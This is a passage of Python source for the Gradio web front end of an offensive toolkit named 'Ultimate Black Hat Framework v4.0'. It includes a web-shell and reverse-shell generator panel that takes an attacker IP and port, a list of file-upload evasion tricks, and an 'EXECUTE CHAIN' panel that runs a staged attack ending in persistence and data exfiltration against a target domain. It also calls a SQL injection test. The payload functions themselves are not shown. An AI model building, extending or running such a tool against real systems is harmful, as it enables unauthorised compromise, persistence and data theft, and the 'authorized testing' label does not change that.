                with gr.Column(scale=1):
                    gr.Markdown("""
                    **Shell Types:**
                    - PHP (5 variants)
                    - JSP (Java)
                    - ASPX (.NET)
                    - Reverse shells

                    **Features:**
                    - Command execution
                    - File upload/download
                    - Database access
                    - System info

                    **Evasion:**
                    - Double extensions
                    - Alternative extensions
                    - Null byte injection
                    - .htaccess tricks
                    """)

            shell_output = gr.Markdown(label="Generated Shell")
            shell_gen_btn.click(panel3_generate_shell, inputs=[shell_type, attacker_ip, attacker_port], outputs=shell_output)

        # ════════════════════════════════════════════════════════════════════
        # PANEL 4: ATTACK CHAIN
        # ════════════════════════════════════════════════════════════════════
        with gr.Tab("⚙️ Panel 4: Attack Chain", id="panel4"):
            gr.Markdown("### Multi-Stage Attack Chain Execution")

            with gr.Row():
                with gr.Column(scale=2):
                    chain_target = gr.Textbox(
                        label="🎯 Target Domain",
                        placeholder="target.com",
                        value=""
                    )
                    chain_type = gr.Dropdown(
                        choices=framework.get_chain_options(),
                        value=framework.get_chain_options()[0] if framework.get_chain_options() else "full_compromise - Full System Compromise",
                        label="Attack Chain"
                    )
                    chain_exec_btn = gr.Button("⚙️ EXECUTE CHAIN", variant="primary")

                with gr.Column(scale=1):
                    gr.Markdown("""
                    **Stages:**
                    1. Reconnaissance
                    2. Vulnerability Scanning
                    3. Exploitation
                    4. Post-Exploitation
                    5. Persistence
                    6. Data Exfiltration

                    **Chains:**
                    - Full Compromise
                    - Quick Shell
                    - Data Theft
                    """)

            chain_output = gr.Markdown(label="Execution Results")
            chain_exec_btn.click(panel4_execute_chain, inputs=[chain_target, chain_type], outputs=chain_output)

    # Footer
    gr.Markdown("""
    ---
    <div style="text-align: center; color: #666; font-size: 0.9em;">
    <strong>Ultimate Black Hat Framework v4.0</strong> | 
    HF Spaces PRIVATE Deployment | 
    Authorized Testing Only | 
    Classification: CONFIDENTIAL
    </div>
    """)
    
async def main():
    analyzer = VulnLLMAnalyzer()
    exploit = ZeroDayExploitPanel()
    # Örnek kullanım:
    result = await exploit.test_sql_injection("http://example.com/login.php", "username")
    print(result)
if __name__ == "__main__":
    print("Starting Ultimate Black Hat Framework v4.0...")
    print("Access the web interface at: http://localhost:7860")
    app.launch(
        share=False,
        server_name="0.0.0.0",
        server_port=7860
    )